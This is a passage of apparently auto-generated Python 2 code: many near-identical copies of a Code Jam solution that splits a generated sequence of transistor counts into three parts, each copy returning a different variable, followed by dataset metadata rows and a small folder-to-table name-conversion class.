answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return first
def func_4b764851d92544b7862ebca499fc1aa9(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return last
def func_a84dad28ad4a43b49188f5146cf52699(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return nextlastsum
def func_ed856f604246412998c180be4d406dcb(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return minimax
def func_eeef299ed21b4057b08ddd9734484f75(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return currentmax
def func_7dd4143af2df4fba9693a889aa78c276(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return transistorsum
def func_c3c2cf3cf0a544bcab9e5d11ef0ccfa1(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return r
def func_e2f0a16e1d1c4bf38ec665ec6d0f8c45(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return s
def func_3de8c0e0964a403fac96f0b5064caf2c(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return answer
def func_6211c282a99e42c0b7459badc5a6c43d(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return q
def func_b645b7ad5ee245ff9f895c897603306c(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return x
def func_cbe42a561d984922aec7d371a250eec0(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return p
def func_a5eb24417b1346a1b29faf662cd6ff5a(infile):
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return nextfirstsum
def func_e3ae76d276bf48bca22708a974becb15():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return last
def func_27679d1f5e334086a22ac6ae0d19baa5():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return answer
def func_0e68ca24d82c45b1a6b7668a8c17994e():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return transistors
def func_c18690e9720f493e96215e3ea190583a():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return x
def func_8b18343854f24bc9b1db3e481d437127():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return nextlastsum
def func_c6f0b33aac664172b2cafb4fae5ebef2():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return N
def func_20710c5689b94cad826347285215ffe5():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return firstsum
def func_54461b0ebcc3481f8ce5ea28116b0e61():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return nextfirstsum
def func_b4ce79b33d294602b87ef93404d08086():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return n
def func_bc2c8f274a0944aba8d1bceeb65600f0():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return transistorsum
def func_47a6f159d3984c69b01cbc0741f9d106():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return minimax
def func_be62f6fd6f1e47148eec3d1caa09e229():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return first
def func_b5e5aeebc00b42cb80d925e7a13b2def():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return testcase
def func_cddb1d790bc64166995c382a3acdfa90():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return q
def func_3d86a56f969a4b09a62747df021057f5():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return lastsum
def func_271836332c3e46d68b33a9a5b85192bb():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return currentmax
def func_9921be307f3441778aef9e7c70ec8bb7():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return infile
def func_37963050fdb64aa9bb12653698387550():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return i
def func_e355d7a4ad3e418aa15fb90a32977166():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return r
def func_457805ca79b1405bb0e8ac1dfe30b547():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return p
def func_4cf0d61c216244e096756d67eb1c33c3():
infile = open('codejam/test_files/Y14R5P1/A.in')
n = int(infile.readline())
for testcase in range(n):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
print 'Case #%d: %.10f' % (testcase + 1, answer)
infile.close()
return s
| 33.060679
| 86
| 0.588271
| 35,056
| 358,510
| 5.998117
| 0.01857
| 0.086365
| 0.086318
| 0.010082
| 0.908803
| 0.907081
| 0.906939
| 0.906282
| 0.90467
| 0.903714
| 0
| 0.063118
| 0.311924
| 358,510
| 10,843
| 87
| 33.063728
| 0.789275
| 0
| 0
| 0.938987
| 0
| 0
| 0.012192
| 0.003992
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.000207
| null | null | 0.010445
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
8fc9b6cee511f69b0f7ac2fd3672ca68e45d08ae
| 219
|
py
|
Python
|
hdm/core/utils/generic_functions.py
|
hashmapinc/hdm
|
a77872bb7a7d151b2a3f7474b15009cea09aa98f
|
[
"Apache-2.0"
] | 1
|
2021-02-09T00:40:40.000Z
|
2021-02-09T00:40:40.000Z
|
hdm/core/utils/generic_functions.py
|
hashmapinc/hdm
|
a77872bb7a7d151b2a3f7474b15009cea09aa98f
|
[
"Apache-2.0"
] | null | null | null |
hdm/core/utils/generic_functions.py
|
hashmapinc/hdm
|
a77872bb7a7d151b2a3f7474b15009cea09aa98f
|
[
"Apache-2.0"
] | null | null | null |
class GenericFunctions:
@classmethod
def folder_to_table(cls, name):
return name.replace("__", ".")
@classmethod
def table_to_folder(cls, name):
return name.replace(".", "__")
| 21.9
| 39
| 0.598174
| 22
| 219
| 5.590909
| 0.5
| 0.227642
| 0.211382
| 0.276423
| 0.390244
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.269406
| 219
| 9
| 40
| 24.333333
| 0.76875
| 0
| 0
| 0.285714
| 0
| 0
| 0.028571
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0
| 0
| 0.285714
| 0.714286
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
8f09dc5e55243f2a7fa0cbaddabdbbf723f242e5
| 131
|
py
|
Python
|
invest_recreation_client_scenario.py
|
phargogh/invest-natcap.invest-3
|
ee96055a4fa034d9a95fa8ccc6259ab03264e6c1
|
[
"BSD-3-Clause"
] | null | null | null |
invest_recreation_client_scenario.py
|
phargogh/invest-natcap.invest-3
|
ee96055a4fa034d9a95fa8ccc6259ab03264e6c1
|
[
"BSD-3-Clause"
] | null | null | null |
invest_recreation_client_scenario.py
|
phargogh/invest-natcap.invest-3
|
ee96055a4fa034d9a95fa8ccc6259ab03264e6c1
|
[
"BSD-3-Clause"
] | null | null | null |
import invest_natcap.iui.modelui
if __name__ == '__main__':
invest_natcap.iui.modelui.main('recreation-client-scenario.json')
| 26.2
| 69
| 0.778626
| 17
| 131
| 5.411765
| 0.705882
| 0.26087
| 0.326087
| 0.478261
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.091603
| 131
| 4
| 70
| 32.75
| 0.773109
| 0
| 0
| 0
| 0
| 0
| 0.29771
| 0.236641
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
8f53e423a8e0755ac4e2391574ef8141516d45c5
| 11,211
|
py
|
Python
|
src/genie/libs/parser/nxos/tests/ShowIpIgmpInterface/cli/equal/golden_output_expected.py
|
balmasea/genieparser
|
